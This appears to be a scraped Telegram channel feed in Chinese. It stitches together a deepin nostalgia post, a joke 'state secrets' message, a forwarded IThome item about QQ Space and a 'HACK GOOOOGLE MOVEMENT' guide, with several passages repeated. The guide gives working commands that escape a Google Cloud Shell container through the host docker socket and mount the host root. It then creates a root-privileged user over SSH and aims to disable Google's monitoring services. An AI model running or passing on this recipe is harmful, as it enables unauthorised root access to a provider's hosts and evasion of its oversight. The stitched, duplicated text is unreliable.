kMBRjund/0 🧊
好怀念deepin 15.11这种清爽的感觉 可惜停止维护了
hint: v15.11和v20的设计师都是同一个人,好像因为UOS那边商业需求 在15.11几乎绝杀的情况下走了下坡路(
绝密★启用前
你好,我是大陸北方的網友,聽說接下來幾天中國民間有一個多地區參與的破解國家絕密的計劃,我對此很感興趣,我們可以加個line詳細聊一下嗎?
--------------你好,我是大陸北方的網友,聽說接下來幾天中國民間有一個多地區參與的破解國家絕密的計劃,我對此很感興趣,我們可以加個line詳細聊一下嗎?
HACK GOOOOGLE MOVEMENT
- 0. 环境准备
Google Cloud Shell. https://shell.cloud.google.com/
- 1. 容器逃逸
- 2. 提权至Root
hacker容器内操作。
主要是通过
各位如果在宿主docker里稍加探索的话,会发现谷歌通过k8s启动了一些监控容器,但这些容器在停止(甚至是强制删除)后仍会再次出现,明显是谷歌暗箱操作的结果。
我希望解决的问题是,能否让Cloud Shell摆脱谷歌控制,甚至是保活?
欢迎各位大牛前来尝试,装装逼说自己黑了谷歌也是不错的(x
- 0. 环境准备
Google Cloud Shell. https://shell.cloud.google.com/
- 1. 容器逃逸
sudo docker -H unix:///google/host/var/run/docker.sock pull ubuntu #拉取最新最热镜像
sudo docker -H unix:///google/host/var/run/docker.sock run -itd \
--name hacker \
-v "/:/host" \ #挂主机
--network=host \
--privileged=true \
--cap-add=ALL ubuntu
sudo docker -H unix:///google/host/var/run/docker.sock exec -it hacker /bin/bash
至此,容器逃逸成功,hacker容器即为挂载了宿主根目录的跳板容器。- 2. 提权至Root
hacker容器内操作。
unminimize
apt install ssh
chroot /host /bin/bash
useradd -m -s /bin/bash hacker
sudo passwd hacker
exit
ssh-keygen -t rsa
mkdir /host/home/hacker/.ssh
cp ~/.ssh/id_rsa.pub /host/home/hacker/.ssh/authorized_keys
#Google Cloud Shell宿主机有sshd,但是没有开启密码验证,且禁止了root登录。chroot环境下无法操作systemctl,先加个账户用着
chroot /host /bin/bash
gpasswd -a hacker root && gpasswd -a hacker google-sudoers
#执行上面指令后hacker账户应当已有root权限。若没有请手动在sudoers加料
ssh hacker@127.0.0.1
sudo su
#Root到手
- 3. 摆脱谷歌控制 (Ongoing)主要是通过
systemctl list-units --type=service
指令,查看系统正在运行谷歌的哪些监控服务。但请注意,关闭服务时做好无法再次连接的觉悟(如图,在这卡着不动了)。各位如果在宿主docker里稍加探索的话,会发现谷歌通过k8s启动了一些监控容器,但这些容器在停止(甚至是强制删除)后仍会再次出现,明显是谷歌暗箱操作的结果。
我希望解决的问题是,能否让Cloud Shell摆脱谷歌控制,甚至是保活?
欢迎各位大牛前来尝试,装装逼说自己黑了谷歌也是不错的(x
Forwarded from 风向旗参考快讯
高考首位走出考场的考生喊话马化腾将 QQ 空间改回老版,腾讯回应称将重视建议
6 月 7 日消息,腾讯 QQ 空间在前几天迎来了第 18 周年,或许是出于这个原因,近期腾讯也对 QQ 空间进行了一系列改版,但改版效果似乎并不能为大众所满意。
今日上午 2023 年高考语文考试结束后,首位出考场的考生面对媒体采访时向马化腾喊话:“腾讯能把 QQ 空间改回老版本吗?新版本太难用了。”这番言论在微博及空间上引起热议,也一度冲上微博热榜。
对此,腾讯在微博上做出了迅速回应,表示“鹅收到了你的喊话,非常感谢你的建议!请先专注考试,等考试结束后,我们会第一时间联系你!祝你高考顺利!”腾讯同时表示,“如果大家有任何意见和建议,请私信腾讯 QQ 官方账号,官方将认真收集并及时跟进”。
IT之家经过查询发现,QQ 空间在 8.9.30 版本后修改了界面设计,但导致许多人认为“过于简洁”,影响使用。
—— IThome
6 月 7 日消息,腾讯 QQ 空间在前几天迎来了第 18 周年,或许是出于这个原因,近期腾讯也对 QQ 空间进行了一系列改版,但改版效果似乎并不能为大众所满意。
今日上午 2023 年高考语文考试结束后,首位出考场的考生面对媒体采访时向马化腾喊话:“腾讯能把 QQ 空间改回老版本吗?新版本太难用了。”这番言论在微博及空间上引起热议,也一度冲上微博热榜。
对此,腾讯在微博上做出了迅速回应,表示“鹅收到了你的喊话,非常感谢你的建议!请先专注考试,等考试结束后,我们会第一时间联系你!祝你高考顺利!”腾讯同时表示,“如果大家有任何意见和建议,请私信腾讯 QQ 官方账号,官方将认真收集并及时跟进”。
IT之家经过查询发现,QQ 空间在 8.9.30 版本后修改了界面设计,但导致许多人认为“过于简洁”,影响使用。
—— IThome